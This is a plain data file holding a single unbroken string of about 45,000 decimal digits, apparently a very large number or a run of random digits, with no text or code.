359328981996955703610748996132025602842549910356620758327097066707727146454487456275793440092203280104031364073660284170996147516670373703162860941876996237172896822906330388612946418339709526069010496267715426899703157526097986153643582040957755392613398399219926433807990648671677853172143950052252560141875606728161543343713382361842551154018288200614632724996099856610691757647434378153387685343794901710535480222960302384048719081014856733306595949040144148760579220677872763446522185285352220035605715066741895571668969831499562928880932789105395301771793096002432683429291225470430928735177660335528506540883865428820448478854457266829204568002230022345173451439314389597533428158932247072454507080366038551539349409143918073724908240728131032244203556720140254277594969885842874927413393239116984399396189139217047972413827946997024136805783975586902712036821493888357758511674067817438881100107761005639580946129392264782676562153296883183057729514192373913756141736908976794570913378769479909376039900683390384734438631688096030469151929119443963374808048091365597356986701688750647694367157229893730103722756708886664853270909146152891210055222408697578951228794273095831393067916018331534840931405827076431423685012875126779623688075286934598006816773549709931403378827892542628830177717695457898493657404839609406554919584999489026407791679147594527012203715302598269089478935457114383295662709451252913706277597490747879047978250812211144897906382242088963031701148102191109018593231211577146143672409440325199928545118792881375959304773050283534992503912247402297529336820565489717448594512120625104223537350611434213936331875562917411595851213095944035841055514865656601579251979248632132732409620141881895766255943815794612198168849185249754825993528813998297356387283843353325244866096823146387900407221755179363459670487802939343338447754454925271279838068147127095879542916247650633212347764165407431683604969528738635663302590934998902442333150245394036891443317786801252794995546343577025526096982235729154925188843674185702433760994670884848367492123318543833645086308241349218127307250976811805098453348692980831263716930181987260375788504760158743993494806892759638198774576710047613967821402437477912184329113555746003595382265659515060077036769140504014075152057000280319321132398704617017366642772704879509146736939184857743945726086113246747224206633492561517105686335575927776315578536420867257451670700996012677017690518316359114804103514744885263405280560574054357821938684249998035699561395076035680281977769173630276231796562331842898571828875274169445099345640285934473911605965741394908068164437712677943021840245166269223455259417631063193408261221107962860969888474753681003013984159892365074102310040323672612001556243884617895177344269270219498653170573742829347682652975994953568813468672210280902552520907738803446708308475477623527919159674055167870117616055661783721515963255213733760871042063688397398610092363908747777305384786632121423488304961942508363269983332178479044548729307912273555100373200699887499099628724035066819389608323285858750873010247002355457355830983792471824625597063696169926236701748747709906586198944023077634893478453321859760982929806703406004845760410190122408194706774214806962949982914562876421004830413781628824429564587545584822267959799998933064153246429889381088241958710629094471486882872723540017090892661406332308014827619480605818869020847612161372059796146826157979888948421637461276564911236681770636310995692420822778740832782190511880828921915264648703836517762148279852562242801568273385781703367353350204861614971489024137060617330425759097276266247975637522473135807772483731817073285057630565215840553361002296086299210409962477261284582374167074553985318619846153729434991661040276207679839552869237768314983364718775843703653708854335532728649551739918259563733122523248264268403064643806471991444466997872679519605919168259406820681403546468955543315150961545312729566460242232470909533747309832838854735156397575185817197766407169504579678371054066339492227929257170772060766007249970110002917090674796460610886754933913660729130850939580763172182282121635024040335728515110359902745441695710183564060206151233912897856575693730687559825732184116487655640489982053648396960310443613854295437610709165463883434995536316568276836884579490175146259891661441855540663919547073616831328688445998411720943387029288303876302486953638918977763001541076600383750308493784080091454218170397671367536540200560489891652943028247836095829608476359479514281374933036290317434512795871304856804018206035227275805812830004352053308777374544467934152490468850170859612848265014682137851594327575545725016105979089945394511707352298632930958406471970971612447422587508467035154467297928517604609775149597591268289679554069096191180429414316256253885965644847425404646118164250746299785191902121642900306471624984114003426000930278545320934575055349065519438203362405680939135092055757017642240658078242283011787021118338853761173175736992523477992222331705551125120182024602862459574382890219304274123334249751459378722909450717529253189128943460253674173475441304547004931409632454374984781562856882008600447132620221264120936268782522263407457186999910503830447944902490498980492311093809544034866198118100797908947478545567072755934814516409167006403779540729607566650285154622206491792728629632557294075253485534441310487475909145131214757510338646475666221308289830550069022959383564870854932654007152998612868621051971637241618810113840957313692339542559841728527303387393010743609625520268743111388215321626998352716738720371150675398759693102694503131699371349923801770121477064367659807770561679146710189689109022244515004685396672472005943870350960937474447382573639134818690159227078066269444971767046273790193998070592770743023926252878956223097658797203115046094834326897354463985905490230790037400450748383257228883832552733268432756225983108210991271925874511441165050920795653399976067549844765453267563508999988031490573680321243642061926539819856215958972617022834763951854132137472501505068387312006039031051644816698968326460636451638518955491226789215792335470213486003723332133779737372177459714335066590867299656412608533692878944213133182977403783030152323688621719890598854875328920132056260473780179786984513207992128734250924475746992691152713229308252467470723224590305320332471652004611519457284715462829776907628157627580518413323211874608581676416655298990796448655174311436378227625547764437616821584506512728534875859674855134645638150909124175716520408481093542392763532444793466224089878247631619939204846215443673500970674981822938110527572545302438988994187748744064063268532812906830449097966660882948186387156084936659892659903250390641896918944821464021384283894591797532883394720608315535883446461749236819985513978518060240714761552792522293491795763037991273508820098761930053584500575262422263457381615487307116932878244983133691026611883730598166847879864663059042379126787572072324441711024436062988906608396902248343746933579874594412102013649601051716306590233195111234339486285050686476895259941707436563974844891734289193417487952466731723374414843249654010804842972815562534651627798401335162751733468640231569516514702118505617500661820616262113855513866237545549251774681633587918050055205896299932059411455341996776435714272064408476180880147550800907282929337979392040671375741365190671013501742264893464283335060413280759742107280272404341902870136398243973660767086197227689405600011075118224698136370258234482199875288526114588807178005336136273418485645778125892579974410769368491278823974678728357116626120289551253778213673459388127334860992064025115594432977544684260543887699292489817950489218110163586268461086198786101925421315606973586503888343597144863796100122722461070201269241812950930759883736591669618814571189552262471979906041788391355721813533178088383138636955230122032054350915415240376305419059008392940418783943583474635997902981897436014192591361903941909450051952901201089992719955707482572960638288996716155287756529695042352401836147525076035515791607848138261591648158604356026629968476498002231041218181454396046694242708958663113025993932537314867032965149300903768606023349010142933890742907564672072451429565655468123288335895260246215637431770148315822732361405523509460086666836000732285599200216700153821494629146502007610800383845901343045108296491772492251786371933783364417764030826737864108735939399827146420876995282461690814361762184776643104328306527078191204617257373586834307710689615077081636441124347983907390829495572817401660898569338142008977241213745762040880540250417653302526798173213350000904584259445271743613259614962196167219466894062241511783875022567788678705030878886577007453279797233289215321331413051911620817771919016208398264559695501659307257588622669701981410556492023078835450745629706694676530352451983376970446643026100093329308742503580034541343826125116382805339871507323220607112992988630152575261658402633156977727945260776159568156273058212426639430582779545442812499970305743527437043890722310635018740999394004064217988718383994186489084428545056508681557340306288703242021749471936488905258068465417963972582855267391885438929856004622819250486661752530197497483917285456258789694782876322749563076193173792708823021449058162464786182637104141799530174603586401346249137606643853028014691610998422693815428702167627676967470224368170907985661402223665414968790971087182556958784345015014352699835780557300437741158601481367706939737941453201882482954148563501862411067287780476310313479816592294548826977845473701195864155126771536703809174131232067121803734415824651636109559760510154142054439722655934688607890773909796317194398636821112234266254128098660486196646493237922125342277617680804574139636533458681121700473356121154623397222209866004373691785507640394697881325582323591393827477283003965266778868624643296569169294169277233416405224946067931997345572985924883479800581466215153800190678580990308370555246460793876424073078172407946711731488362535444510498368674004798301102478411770389396431535242397954364695072028342332893311894208778365318759722755283382724863670242762289836354955204451408318171274105482885439206909909604187291632912673811829354905697530804018110229243772220611152580115522087659462785942604986742861687629714130082833555616662677372520620307027461216312861847999726026404367508529395005585918169278847522133958041009595174022417693657029891426810862576792724301390554201836759831137473316477756004915972044011421142596986550906811465013668876214235425521494360495105977795010716156241978777441096924484396075951748485805708379538068605107712049863993818670092705530880638231801527940448178197310385855978093582003792543545725237666255428593018002518871228196861155138661544861540464195350843617644616174305679580107573197096279530199694516656557812186821628549677359574174809939476959820156322124884661139492042666378512924125225954952197897237868832802011771866951178465388270988480596936520815240129377450716197940627728960973779073501872130458445990426694004781165081750723210678870702371627847781892774810564717721392446699823083266476929230535382865254276539720697436749485325436693813792765942689501402913596083804317533674888454284198692014355721702042564891327591127865984378614831048789425429256073137428066923278283792992059027620103006809399841954302073542970777887989834951117889942484821630372231636427011912969009876852498093395993477106189104158864081914636057049527233137645586732831637496347876567162565160314359115955510371613132310646942659146291753678662399811778420766256741713422004347225625627476975347468761875069895241230827839409877921422774633436463159295315588634771497571596900370963257054198067136720529443794155001032518764026030067796847351794767484775430786788153972841771379269626737554895464566038452476027297745857908449595776370081165628966363281726123701470626079737397611865318284224873025691627633486469714964749402392173520386390726699421487712042561244603356080596450197568672971309395970831246120211055951190515268808820487048322745220985596073523920656667141962755357116564654103682231480225473312432611133208826076259680679176954491623398666101626779487710836457183706898854066557511808262604940427194735461747890437247446957830322044667518229278635306069600120274225516447349040056085342945467783214672876180358082834798315233309550766182438308828673879453345217445830625590838334932472783776852114757406721578887433702898469124774313661379071338759831208060120879381095656286714976838201715254805749672848327375747860146827614315885317434738396819936063348047555515653492042047289730659175426803907166791856922840067389276921853611918168958760820009961935916974829474517932914779798391182665862827208150582513516789830176755066206376764512906733065153497302065117143436804594037672888688394334902651813691782095307943847822334775469284441763343362653297898357216906267348415138856643235282314441981095015384140200767106528820647153612523331968063297151347687121794750794246846344429469149295550112605491977570942605512196355024413831756284708438140726716225010901014572950454593881717529758119902332111519474068787991551194870932292062132420290535776924531406604909438388974214064442171154659569476051893967737835479555604870904863515817738451930260255903645589697896569535748511320096405276495430091076846524774278150865718234417202844841749773290492845142537459799364874211612039892268124984382485360388011104041040148140574818691766228727615218594525936769163384590101259473677422378427058516266221804640866420981800930258905410858288710750117218086886635957027418827492297510330099962979647069598799435732573669994678714341127781681881852341032535808545379803545051392533970690279512534704370587222309847114985626286724794281826078430106379541207694404828565741791376236401679929269951291628375051918709149878030117486974008514711685301052026280135486636781789358648830198150048551959039879423079999437325637201813704099789325296794873768915555125925145018588546303514625154903045949311365569844159295586931068252031768218011812479644932323212130036379432897255940756959362873110623072489782327282090677326607181966648473696334882852477271153401812914944697648728073165447965478044612711662075530445054545619606152391112185970842383655433397262594239886219412076988036316246535895323774363968991655147241060673176783365305011290169070636260391091409097393988466253068301866928281154082152745196392860930619581433994699838808263372770748190528982890964391404229178099956213781143440386457682784097553456125258192476063017116760300721929341633060244490210920992138551933452350575173972667976476688685950016049476757533705593562744917400471321822861434580857247212491169213415251415027662185099890277879099976332438826771921495138663515866116693935517006180819375492481673971838683611842882408221233529731800466737858062988467494426444787907670273859200903112704582209509385312529984891978460414255385865309140240368840597813296313909350793601748895392167248917350208269278598383880265104831624468524703752424027217397448715233779820840308615969504203515352763171737379153691099779470292139867625088604112718637280100392961335786020274954596763833768126970880436362235874849604925065028971556493663585730062014963700364636040416430373902752201876102570349403447744678660672109879360001679394025479893192681924944643049029222831235860708413402502574257509980335371656553585032849176296624551708265448068738352099099111881888118470555304711953493974503684550551292345583754122761342214644936147689297365181412362680452745896384770009213724565111999781690585981901882642987791163753667208399977489886059577268040444085961920981878946199163513061975936884112239725740113786628537269961081524252040475082572052445501386208243851685308902208275856474681793924773334276938913662304670025687912858482858490258822308570294623374796396580573923409342238057056646898530442314966108412613843619486862305530127748205088437592142520658145163061603556761272698760630192301316575017361927221069602212963704161894999121784036251777852099091611183373151342337851523357735346946637126624344463571639813109683691252656182857977963682817865404803610970545368850419639038395630978329165083383274678907730687085544012042809374421002207513722383371598268816516660958574312841195017817454977929095515693869052297128846825911594089807165503690149165704873191485468869169050705313665329921537907615856598057825958137336891326399231949358217683152735093387107792914837688105057238563991537781669278271189870386845096976119904228831306102852504460242500483646351967982647044340175594886665975684502568658729084961361469918584768276431423100072311054709970205649586477626775740864595517028311129080456842698372117216305940219336234120717936109804933210693136470350632817096908773319055011970605174605000551860784048105355808217314034428161306163255314421987443952605303910554717653373631453150371614606098686557656334788114571510060853542017957464173912908210044511363336519171071112681158582383748015342221841904000219531811079661192530419270704271705784039237338358527749349899850034216866843463990444710384762686640364360170352832551701081928323569009768856607748509841488351567948734090769793274636259588238970414395084599119451561135932967139831286493214358072166089304600030972865777603627901925315580272776444638982233610064324908167990417243842689625713347544510236558724979811475948588942949480751963029329455689060514707207676434084357935563658782012622223414653840161993613844428852607611474342857361822315744831180955267359726408445373385205598714261351987164603646054241122214846008662705495345180464564446672434461565705458487369615672336230628584915992547486023202907338280601928357601533835664272541521810815427768778604215635870854075790842713956432450901370392146888044205186534653428924461679547332143472615483348662865079285385385729081370508715090474357921213752187836272980954072608294219774739847911615752996848728516450798539356780138814482001654708377289608145310498692967075888934772126826791915106637940503196354745281696405393299982859132084854249083634974417565996806324111966779185074441949490215032502632098512911288143356352876753261403297406265147750476417218037611310819438928122983488552428337876100927319923419313292666499730776831643537261502570407499405333337632099995047233731685142580359349448451698968080147100920630915520484455323521376397425053349000691289169070063655590207403702984415223848235351524083060312645591802534758311817541994875825772124229400743007869985154951353008162355602007422461321599077031590055564419641378645613888986202637504657310040974415243841468231271377871187733629764281926677897839582735267827721312099219013895400443594164098272786721494586093811000153218309892931751050667933983829445733130479067274831213909423605432104403424865727489155940657464234870675913319923088609556673436152832666560874642688015670321596765609820799251509134457982806012834258135637222348966476545921964406979440489025173628679903857231754588938261570980419050077547310190642621944962511565507312362184505323167955923964714928722122577830660716277396204417095887325426128957219267754741530247328563417549656523950348442388655632676260546586643203914723719456550056112066320882059999382639069788687166379312847466777705678647553648171340026638865256286346030226412143470498571402163588161369687489848433844227602188344082441364800973657058606802719595228978745395490629154569351503299983428719972979941508356460938980313561384518855914920090500023703560626777443042777507252711564398717839066697498679877870089724009650728700856075579244321192098721109210044585861866663978887601307637193686577470552360751190186136223628484443848372811661746307691368301573028608175258434522078592479255863512225669873201178964322022853556201613990493510703335068465280406808099993998507181217560324775982134322931114749525965530795035401652459555868959729662763007416492544304767133151598426033456385697284834799162198544469137130322325849538127967414404911361003674672481767023790931189711503397673718541029589974829077361246503524649249715664481547355154068638648288206695269700531216161274911303557733141028982903553247756660178991634753633701108141082891797056504550301544598685115209919573744268725296577629004619938464030968413951974331424591119857124567196546721591192773090667549697773006446669398459042593820994800345903990864722741189081701812024166251556028453355263297552283009790332512124756334062613577255394400057455822398251695461739565950505210756342810946086171391295820933188961912287344176964732268336405907634411285605529792953814793059658500311723027972202036371681298585936736423988524893375834286148211294282310346174967281461882127636557214875455778767935840150559279290945284039502191486908314091056708092282317494098730561991482731551968294130491716614907231655175026896876323405546634901030721359494211904086238020164131460552992813623522316768355093161348749612194271710572978122801826153939249852120185388970328331278053592987766158667910568093989011172109418025413326550641830924362422253689387357850571279177940620295135310359193687388844247571803414661295635405804884590371298911522757566846609564844346192304071787163030068683390919919944788456981749162241161800254306390421672861943273577383257770074630857106701835056649565021360842587299684215314800024503935951815895658471383313679432401526488550188086075694377231575395917484103829337417137791475423178587225059548054000646889618230844421292083357612488178120836466005351882547684267175591312289084764210828753268716527456719350199509404186017867320049873580590739031534513479885558284057393308769420003448422888083214319426354730568454312531917073547761933254123000438570375453354465200140033903251437434390578319548823396269807190857737107209543858694355800351354795512787104207554474476811428564187266072272881056990153299699864166493866179057589643720181386487734092374327965624615725561452427968076130768362082890735793844141728288178787578476244881283911162035119849475658605970385590573012165851795662626150572968110171835820468230513051676322358725725098700228987036694780319848900192915206890334426660819213636711981499024989681338750444998573787835243896253046416944206466158849148703470479693080384838017050870639522428581458243480800696608758917082935105748669438397876206293154504881348009597355226746996348404508774699079819018399984531767933298751762044184889051954258024259411974797763430781896156006176327257203110654225025034198401805194324486126925743679886653713393803426724881520007099408417290218118416196929420592507757798661432894656387099728746380691737208168591543002266629152709856078164413463481474153005784389558174381246931020226119466462650776139340941341576907514022885822636417443526735207595778615928033044406413175390464188174955785679803767767257569149740859904642108454816830889532735140682519501744815394407520829171805885137544176269470596715857871830048854105219794154474717392394184802370147644717939912331448135090265358527235680224938924173923730353171342747883221207615079707146166145706806352270810460546740799397964231828766834694705281602328668136309126757893138304126207465175766665651866049197622463985529344406132363355669686805806395112549305034733091186207785080150874040027798689976278909114160171995618434062980629738764295662432896625828526136864491925518826107185429597971537392407325693931607677192411845294871417898111947294914912064538226052494628674687237041175811088512157859811345355632568710380084552070157339123190603930588873458593412104825187902652805009973934470556583262792104821277019255671727355986510376389296754836504270932164395598246255127852462470500425838140125083963259794266001346014487244536170283272325003640936500922674466744004572739829918233158611592379121400211036034891525571997216971570384978948242627277517941668306977368690824534262145474634956904142952536815766836753191336734564012198186653785164790760556346213025444457163267224650069751672316080533719845608891783272881554848059785539359431559090354597636032993963570008353081395904015585768643311606866095386914763965496209400876328401232544248288556098924662100881439527023701742066794725542790567553594699252880335677522895377585553485017804637889797183391510814803284841382474959902776006440069416721632311983477990923607258559066990149388061993708039132512730211026877865856869379653587905472657238778232927515268125093079803553313873985554806906637360135057701433832020063119401757406744235305290301195765637341910174402634760303173513670327711111447293810801969206142693394865522220273968968689449836898424186684847221939956864463387318985950936163622777971595158773318220557376572082104571178290733548076407880717513820906805645727732008658877297235550594562884129991961925043282946672101597937260857712058263342231429297346640148532333964682200531794987867626824298883782923193683914871606731479141925714862922761749202748895687217415726951435476239096817022076415177440863979186054585630602391275934309935939674783314074909790342138344135131751068586162727671795649118181204629896398404926049289882994475270849850445643711724788122947151337522330232831315749992239816432151907528157925091298196288690840088219723144235965236399850891802672715202546394982595583108209804473774172460701972993797465222960109239840957557191911466092919048202170691612997320342087125800135153965277360770641374790397117624925661526177636905027180822248045356272182087851786924371659976298190187647759051578212068434806750204723883013634968091572216397418570850411931677807496077507158582775979158878530037979697271396581116316898560282398208319371910536822601780773517336571838343392561387208251463713170758375287170844993698544123805055051100129905455039342833866466610035958100706085409357451554975212088273711873018296938889969177108557927582853518066206553108763349507117947619925262820130055734093774819901334529551525126611904783579332687590698003867832496564659774504036196399983535481313874189375978677715761916251230377310101956924034132983369996767983883850210397739298069850500105650911055724146908019928054633322434753819401214933636880793494947154748916918836977216510445284750330399917087054254855334360883693951311092495290453221104326467865872440854720588423648036887062911700701290079232832718245155489750204334626984561018358682592160389213537623096300626125443090539567709643943334348265702475106669610201136974787144434877328093544500104631252702830790794986205277825218281890296962495235817946568932697732340053638371666652261489127586598223918833395297487360327591013321541538692729545052689386813074083088801455930397145364486366495720329058345095239758168551890233463932977420727303726094570321132379387324700171803186958366044796940834929228050595843885874141051560135440023729778651636920694996071177048785413870720210806405316905230731181333629558576751428871518949396299354425657061031703488885033035615341234609980777922272749335532903190507632583205163134985376479661743797176730537181213802373864674242960074558144965077110872193361471222846632760619264062598061766887477533214733970246668182098540717755843299539679746310118695932947515386270384575463947355890224391209208562018237650481765560360401167339125694094819023441701164169299082209746431034384466959884808094801576034306328866066641868345158290721317747222085000599750643913699570393687878798247620043322698701237604470361260704310416397840281146132935036740597831742274796810307436457734118655254628644098341755327678440281170755642363546942359757548205399181153877668063870400435261143304106443682887064468788281778261170378782359501376191560917584569840836635636280421020824706870746041972000756672004230426864575699708289740512903171646050960670403204726343646208736275766238438080518123862806712134787574522120265018470732074769018077178366743830055267265815137790055526618097070873014511379603879881904615562876575650452947785827028167616694738530817609052629513891947360001126898309099187046334957264901601126978755624368533581588704625801530479589597555372101584425496426899994027240850042980925207542705448008175681141221247093828920446080665830460328661647229178084519054907783551726952788607879483870728663591359020919978500773379146388848795425725899668549753990223074057109736224217605199985211882632407519914564903596053921833210481466075178973182808915941077421677163540186409757467710579934741704085474445694013189969905070318742081518923459858710745598166778700520948884770933897239402430512029074728609743497654914600112667655991846320736203372153537807377532338133164935406166454510242821074613532046771892977182427424420340541767612473365055410501326018501395406757867240706294823091348864407256763447387695724282866798924916791896175207613766035379178611163416274478160045600647310678671568929221875913687586888714494861834633486693114409129440075370854302181038450505613280940324854844584384994153377504559678666038134033629129463904267100672144545544213422168505139997171841038782334865905764111297567745655191832418075097812133017982692414130166715977872647447966396319060449581341994446147920357888641427888046259932038086118195529897216532116931449970999107184929291046661115301126419325350411665937759445020845008175738648250789214244645879620152273886961951987162621068972008556900843885640409181568852408144130029139486343770019784790927803967997753014946990314482970610614688371554403047761251946493926645693047659143905814142585529555607096356882487165178178725161035735363220774009208294568992719004747472494511750369880664544432704473294730804819453807710516130139696228443267845125569585486631464401691454537042361591038663246526515213011419323107889284848668083974136599063326772318641953739620712849518170695573990839137394791632940000925117080060999374454215341331785805096972294375128138597216322483060739232081712617326585400190067959435766002499378867566351708976539470404846627929987793833144646707293050531959314724399320927239813830734416534836111951266654895704508736667739034902698042173638143910064877275359943537036841019602794604317336025740240935934854570888757455835190976518275294006447404788898337504377141604720513623128006266269155689264933727574800008129641562447131336444602206738004281432654891890417892966996827487354285203986673014749654818900107177919023461670189418927501418140693255875414457389354269193740398272475026510346292883605242638945668399588846196344981611391612918149995372776715725390257699238270535177874739551265102665167169152958628248730801074646036372098053141296784320713659458435812159601063686600022015443396754417804281753034958251588884787864181029269364836509042468878481690625180477802208713064038421108660772746954217663616418876689936087644725070752500149826047218102938640358830350387460993620486864649854560059650315631987616267182654303937437262707032370757370821228099891242277145949696443896831678641648486482201247149026418875349717283926996452197450911642516875537388039983253207821589124260679466547615615332911165738215264152974152054669557774908094384597824544232916951540962884112280206742962668457466979036253910135109483762339156475126175016997929612923051956728409148712892552970938462991005887574014647791536620286010952148789935610840894190057410411781060970475747870191631783656367167982041326411775406001555226660229547448669894938492271503958214112573613809253412809307264967913663581085923311039396443537825246822336596947343737361502725797914329214833165664968350412032793416443740763783880530224700724540951209230834068532773037190916828345179404786019317457741276124389275811649357613223062501128058345683272162723203171029661404812700163679686342410535623053059787504455571568679259212515889844135982137477598510651612266725703679320505983993190180095742465836451225833375151712790619828955161156963350000379257240487838425875559898540727273922800906234389977280449557984875715748065261161091973373144268870280249702474232646303286364988697967096724234535897606023497074604133505881645764938579343279572703580743065182758105717309038108859056310907261508551765485424234613928045470390341011064557015612857194222490348322466952585302083564741858220694887670550526275101824616283160130248138855407210209482810547460886056843133674712057932716768018119128545824499471134771662789760269863933921253386255422990096282178557608914067348794054483693730188260096428823476477888160980603367784887181829451532836801301262888583516655576637354659396895714343557399471224282584907876095090150809681856226154391771295240906611687348561639039346256784517507554947182651808306358681235233012736800698646884242006254640344089957531032279617228983362879713681569208231378900198804073053954498232001813194011277626864573772026657590073246523187934150415598532284871608771274298809438532159426301682714607502342922019670348581776705152408621399162748757344340283243136094827105619954914428347711126086712097746358583098192385704897620628286156410510186276261768634174180460492550774512380163439647643125573155082835909861232630570493345260122256979812507974394792960417350975983023764878340788210626672909409569759682058109002683699220600987922138138465232346220042173964075260800079812505104263668394496221283594049476162323753516876591282787574513498447177522355880413176731278414945508407952463537261816910314891842744909558967806602266290838257985625618002372766626106360287329638184661817389906638759784084261067713726055214772195904130048630465318882550693454873378305579318250079188283038276602742858428858540938081654489626508688629404812620709364790286980305358237421239645187727907105296678695541073375469716972239248923332801941324191958847276969137846264576320011273112769411575278477289984781310340257322955610277213363754547297333287986540206421682841067637309466855352511564746191626105448928598803860365519922342616435920711045015726807102995108014758569165574146450237411075749174652773282337766687201599599680477280903467884112078311639343781911604174495923240498893459256905766457862529600330104115132827722525133114994434632557876057628966793295469756749503126411607978110634409002573500238778253906164801239879556926681165016727611516167614738890903317138476814077983942002519879386308532193498159689195076480705917758409286606186772862196321404027014303024962795276732249075049302716414254182657873314471567551030965339177884379410383827521103315685666939426264577453514120694417496475837713005140014161861253357198640878113991071639641257904612572185455982416174722641860697401904495434800436196255218126322297552358679834958580615086285104340838009235711896129454312924275491658425023311649993313421489794890332519025617281459509350698560028378809121453454132533294460025054167003147239112790294213371688321330410635870953738941515635288964140301404079713388325539551676784526626827711243986199150044019027422967586195573250424830325927377548678786111766246958433216121276172631770680353783239988948766891734010114039505752990304988348052401560215304983077248688626701177098285926125550972566097800915615985757900887980808917906567831080345681335574632039043603507471940039554819577785640593767458434058107756707934554714072228558385885193548448751161510862611453629073114757078965389011790775700712533037822594652970463206822705004396176166343769812519600178871977711055600107841575167780763817157259930947774650659253728097074622933468902340322712277065993322298598619496322319024772106261618380019000340500722238957959708482547070796157932303721992789319595934866394876634502323666557714635045656582065489890464098149625529279259782125128196641439414395397418879960519349470684278154524674751232484877825746328620401102755074762073131197955271783872322667196085800814880905006896018489111262729561488002470327965577324680262855772663256236261511361940067595722602992071392218820805021832917030967441457266544264867696786451044415209471320217402207253667632620436490596603978576675143539269555653596335144806005962169584888573921913715536505745073021151347638743902193341466626556134454255939762499037453118737146419273414871785240438443676450609051166832673666590597258804341450113473755767827708831624274597841730664569052948935224327201161199696781985780588433466209609364292181317613581228842052861131944349924653920831455681770168590919742505713444721871164218104343215245766204523537839428092376599470034319575711524866478568798953093465582804257282188256427551888305852587526971432337278001106325604937267325685804311756007045350902855647456151590130863612530561995409219585192619544231372385592429060136172591509679570201843405999108100976272019961362361567120714494376161364095278277262901612510559334182259896198311077133086198223202227177538789437177133225099024409849297310407322404537631991309434149882599084896153681537925338763174526478961656467815178766722872997464225453002962781690157146234178805305363481004064451611206355488424940958623796415389152689320019629798034266698074234337738053692779225566048226932448146611024245028770751273266720684151132309926846796815692051684034120325000158052506672879113178196161668366452686289349979020576657637533675532779078187257769902988737078242784760818962497652472952172240902986410729084205235143552896330613356109419218764662683017484072029361792642463835032342939924404976419170744071940016641901998004064845595279308252636773070070361802973878478574583392774942841905949150534990230891663641431987065412721548358753735579239857499061964874632274227908797011136942702140607604860220118103033082637107723297928241066189320210845671559996200893693763546370315006920856116003338152980200246718625890925793966400425835020291758068497045267954646481594507052088522141552643864735620264673456772089263757990044315839470791846640417229524980635241503277426583710244638703576903027376458161306685387664509323334685869535279643853886256986701547771531203455392402047128628698268000941493262523377321800285395628819709350948317114606306086446669828607131816024056678699298529777606215952869603853757336955903862245298605396339504631758934511870240991115462217835994417297769366910564679834353837029151529603650338284402569286310318709384944197176031449526503846808521034670834226378837078199213851311763598187299926557257935048193485286235804527282097141793060120092621795002643265830140983637994988027683380704735743862490347984728847691171410892257957499703252760840061704342236046215995865585350941525594797706523281701984484193707977737860125195551743291072419262593330849857614639052492417137304454981144447724861061847216819397371062569435654930908797467110063372848132942646258162118161587715351334462205686047897729943778472539883563028750628118461831187122830850727801632262173986770051453201353314699896856661650158517724522147362279247403693797854030951094173065954866657131700050105773653330049258259528004086271356180047695061408615100944284239597499678899756165796329642775010526786805991157147663890504252407336531056746990585369093572909554020557365851358457680139923720887300611749725965033787463891341691934606975625532610179475420758229771050065351096961313983138099883996939006086385407657497220782488187415921791447881916964311999706649533478580108116513315084545383115194945841525205056670599794333850747583008711872375482824752163293061264577055522411915143948271158527020773890857023174426767539349658298921839117656294100077089565848309742171713262707076217952186252912586713411901867436285647317163986281518855047492351586150208718245528560027108759153805046589394953917170338462587568767684132216767901494594156056320122890863261983889297733799449068438051733442286031083627297566375659089861153217506414768621972013554968209271403297686046400054003615435004310478132168510326690223601776525540578526404912769436769069778238182014900005341727748103201574764580941072589234753534051123904987260865472218075920844604698497002334368364843233458632289583815710646730432740086961677856323117778104388936183002330578056615831716075070183384219972037597223860026891542539269351253933944748563928860905353624905454864885451094703009942077151551973464314191378527533674603097790763493642434317879723883086379843488082598191958305705457691723016613017836413562316710851462787800137309981297454723563284799940153505881091931093476888390741965012574343904828686355187273399169306881188524592978460437878815553544398449258638476708578985983294235048282164661527161607489354972686885948974883757369491521206121068382616094944173156784761912479538372146791746975993453818966507499604110127758943517671022569826771693411422375504485086696686877909568646323647504651758029326029242787571895641460661579055324502805054262307139352643187386494483200917332117491470793245500956641386805254106412812618548043038201885521443106633217932808978282065686662667632766857749914498322143405318088137061575029096456329655439663349177846933965562657764236240196929676507712059364613734081381703828903017364420133180635054419494873601179314908019688521108283951750068778225302868023107712448677574102535801851221288706289086686929721129606585082570803799547711029632576035534432072777074642975192887676227524222757755770153511535326949844480439307624602221241360197857520569129492557973982413679919374104210776782437719538551484797616580164435015010886748122646860604781156563065357863326747431471081919419679340099591362568570219975629809871027995032015672554655914277695734019488271419540173551654641271793126324091298047073903806923242679640053149302595460467894228803630282539457895110682834249852738148398202269171093426725803396598805550529763204442742108633834639028263010375361185489562453163115304666058301916621404575470582596351977352496703908792100524922768601936708370755037973616539840745152987142462345119017265208162371953653820014151893827131453016716367879767256530262567280147397383936726020494869512299165846308803290519979357815762655263216017252034706730072609379443285715579310559982560043316873834449100404991568276649232457409909842271626405999629736193743499352723341748869301251568013471765461420413752496253311851217353725918007079867943460095748152080318079956631395272124833652613211653836937961368365841476693888077916382981987477727973112913413170454601673648172789093757693406956030989262462945986290549748823625598860711405287186331102858908496635366595915178870572066863913824222408871854956641053334634218694351486695695237875377118701389470172449808737295469217446556359994021491211638678403647218144859134639555739432639948459524699981256789394659223703072409917477087186996862379988167839677968550640352665462454738420954742979061488900277160033202924302111428152965836817302235778144132065805267998420805411176254267969726667624376016878984638344913583225994339753326523230832651373670507362702263229413475035985778905241864274609623543559027760015395658839708511547789176567323357127250991011616138176989080306902036641811095344640031217958431130529657074909448636960758083111792526690935950242246617778208685916731499862815603434338650232957158467221788330916387954211390295961364560541845354121928443963181495544591662816201344308212804630818573551554733776761219655022852431979490740439776291471241388794199977011668465009739638084320316595357472394941776279183623159875765770175541231206067887252243618764824023471703266728966911517075094644911857924269649537060182394142088390880460967780460011522966814471449784005637346425773597317683886543835177171100642973131446705927421449276488744707021571179159863435766794384753732754223787330006390513889772934842170318847181472800930819060677435259108812489903800905806662083050312776144695196328328744153703770451061672990149354497484070469186441995551014553128359986339753127459015079915690462509631183376311858703510039880864224334983771121235761047575346158150881153155018601989009849557901576847852346593522701777122232569211689290238447958457299683358436441804186359468916989857178600736938939531762846824421101326385924327381922590833928846550937811867368799870625743557457389229131299139584840410536448247018583830772859003888423060426884267581962335984217439210369504196240220388401904701861655031004123385699776958670789309834858551462286836175427217780215970461236231310230822899862928907065382112728410406350415267994909524837488964150111032076977402878959762718031560862724477368033153860394589294575760294442269524586764162277848582001526743071579343174004867816623745169344287453371923500143225486690590167699039831641974590009313705507234885301606089758485033992709563890624148855900500557764511334698445330099232576622282215762362321025347244189387733432150925588882166171583997746602716748592813560108020254862860978493485356436196807052924653167575405062450083869382783268913333179384279151874674627012656668158489334696179393949036209918240122466881248874496784697106742259387317986640294879424427326393797549189823522649333050598589315810781701062724198794203308076737277678536771220414767770358969792541767523783562548838847502955000717485696388360940976485112348765475216754010290375404826768622552765135